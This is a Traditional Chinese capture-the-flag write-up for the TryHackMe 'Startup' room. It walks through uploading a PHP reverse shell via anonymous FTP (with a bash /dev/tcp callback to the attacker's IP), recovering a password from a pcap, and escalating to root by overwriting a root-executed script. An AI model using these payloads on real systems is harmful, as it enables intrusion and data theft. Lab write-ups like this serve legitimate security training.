TryHackMe Startup Writeup (zh-TW)
題目資訊
- 平台: TryHackMe
- 房間名稱: Startup
- 難度: Easy
- 目標: 找到 spicy soup recipe 並提權
- 連結: https://tryhackme.com/room/startup
🔍 Step 1: 服務發現
nmap -Pn 10.201.75.1 -sV -sC -p 21,22,80
關鍵發現
- 21/tcp - FTP (vsftpd 3.0.3)
- ✅ Anonymous 登錄允許
- ✅
/ftp發現目錄可寫 (drwxrwxrwx),這是超級大重點!!!
- 22/tcp - SSH (OpenSSH 7.2p2)
- 80/tcp - HTTP (Apache 2.4.18)
💉 Step 2: 利用 FTP 上傳 Webshell
測試 FTP 上傳
# 測試上傳
echo "test" > test.txt
ftp 10.201.75.1
# Username: anonymous
# Password: (Enter)
cd ftp
put test.txt
經由gobuster 發現 HTTP 可訪問 FTP 目錄,路徑在/files/ftp
curl http://10.201.75.1/files/ftp/test.txt
# 成功!可以執行上傳的文件
上傳反向 Shell
cat > revshell.php << 'EOF'
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/你的IP/4444 0>&1'");
?>
EOF
ftp -n 10.201.75.1 << EOF
user anonymous
pass
cd ftp
put revshell.php
bye
EOF
建立連接
# 本地監聽
nc -lvnp 4444
# 觸發反向 shell
curl http://10.201.75.1/files/ftp/revshell.php
🔍 Step 3: 系統枚舉
# 取得 www-data shell 後
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls -la /
# 發現 recipe.txt
ls -la /incidents
# suspicious.pcapng
📦 Step 4: 分析 PCAP 檔案
下載 PCAP,這邊不要忘記,我們可以直接把想要下載的檔案,放到那個路徑喔!/files/ftp即可,再去訪問即可下載,下載之後,作者是用tshark在本地分析
# 複製到 web 目錄
cp /incidents/suspicious.pcapng /var/www/html/files/ftp/
# 本地下載
curl -O http://10.201.75.1/files/ftp/suspicious.pcapng找到反向 Shell 流量
# 搜索端口 4444(反向 shell 常用端口)
tshark -r suspicious.pcapng -Y "tcp.port == 4444" -T fields -e tcp.stream | sort -u
# 輸出: 5, 7
# 查看 Stream 7(包含完整的反向 shell 會話)
tshark -r suspicious.pcapng -q -z follow,tcp,ascii,7PCAP 關鍵內容摘錄
從 Stream 7 可以看到之前攻擊者的完整操作:
$ ls -la
# 列出根目錄,發現 recipe.txt
$ whoami
www-data
$ python -c "import pty;pty.spawn('/bin/bash')"
# 升級 shell
$ cd home
$ cd lennie
bash: cd: lennie: Permission denied
$ sudo -l
[sudo] password for www-data: Redacted
Sorry, try again.
[sudo] password for www-data: Redacted
sudo: 3 incorrect password attempts
$ cat /etc/passwd
# 列出用戶,發現 lennie 用戶關鍵發現: 攻擊者嘗試的密碼 Redacted
🍜 Step 5: 第一題答案
這邊分析完封包之後,兩個重點,
- 一個是上面提到的密碼
- 一個就是根目錄的recipe.txt,所以這時候剛剛的reverse shell,可以直接
cd /
www-data@startup:/$ ls
ls
bin
boot
dev
etc
home
incidents
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
recipe.txt
root
run
sbin
snap
srv
sys
tmp
usr
vagrant
var
vmlinuz
vmlinuz.old
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was Redacted.內容:
Someone asked what our main ingredient to our spice soup is today.
I figured I can't keep it a secret forever and told him it was Redacted.
答案: Redacted
🔐 Step 6: SSH 登入並取得 User Flag
這時候我們把攻擊轉向ssh,因為web reverse shell已經差不多了,是時候拿user flag
ssh [email protected]
# Password: Redacted
cat ~/user.txt
# THM{Redacted}
⬆️ Step 7: 提權分析
枚舉腳本目錄
ls -la ~/scripts
cat ~/scripts/planner.sh
planner.sh 內容:
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
檢查權限
ls -la /etc/print.sh
# -rwx------ 1 lennie lennie 25 Nov 12 2020 /etc/print.sh
漏洞:
planner.sh由 root 擁有並執行- 但它調用了 lennie 可寫的
/etc/print.sh
🎯 Step 8: 提權取得 Root Flag
修改 /etc/print.sh
cat > /etc/print.sh << 'EOF'
#!/bin/bash
cat /root/root.txt > /tmp/flag.txt
chmod 644 /tmp/flag.txt
EOF
等待自動執行並讀取 Flag
# 系統會自動以 root 身份執行 planner.sh
cat /tmp/flag.txt
# THM{Redacted}
📝 技術要點
攻擊鏈
FTP 匿名上傳 → 反向 Shell → PCAP 分析 → SSH 登入 → 腳本提權
關鍵漏洞
- FTP 可寫 + HTTP 可執行: 可上傳並執行任意代碼
- PCAP 包含敏感信息: 洩露密碼和系統結構
- Root 腳本調用用戶可寫文件: 典型的提權路徑
經驗分享
關於Step 1、Step 2:
這裡一開始作者就有找到ftp、web可以訪問ftp目錄,但這一步卡了很久,因為我花了很多時間分析/files目錄下的important.jpg有沒有隱寫術,後來經過分析之後,發現沒有方法突破,回去掃描nmap的版本服務,才忽然發現原來ftp目錄可寫,趕緊針對這個地方突破。
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 2020 ftp [NSE: writeable]關於Step 4:
這邊會觸碰到封包分析,封包分析也是現在CTF很紅的Forensics領域,可以接觸看看~
Member discussion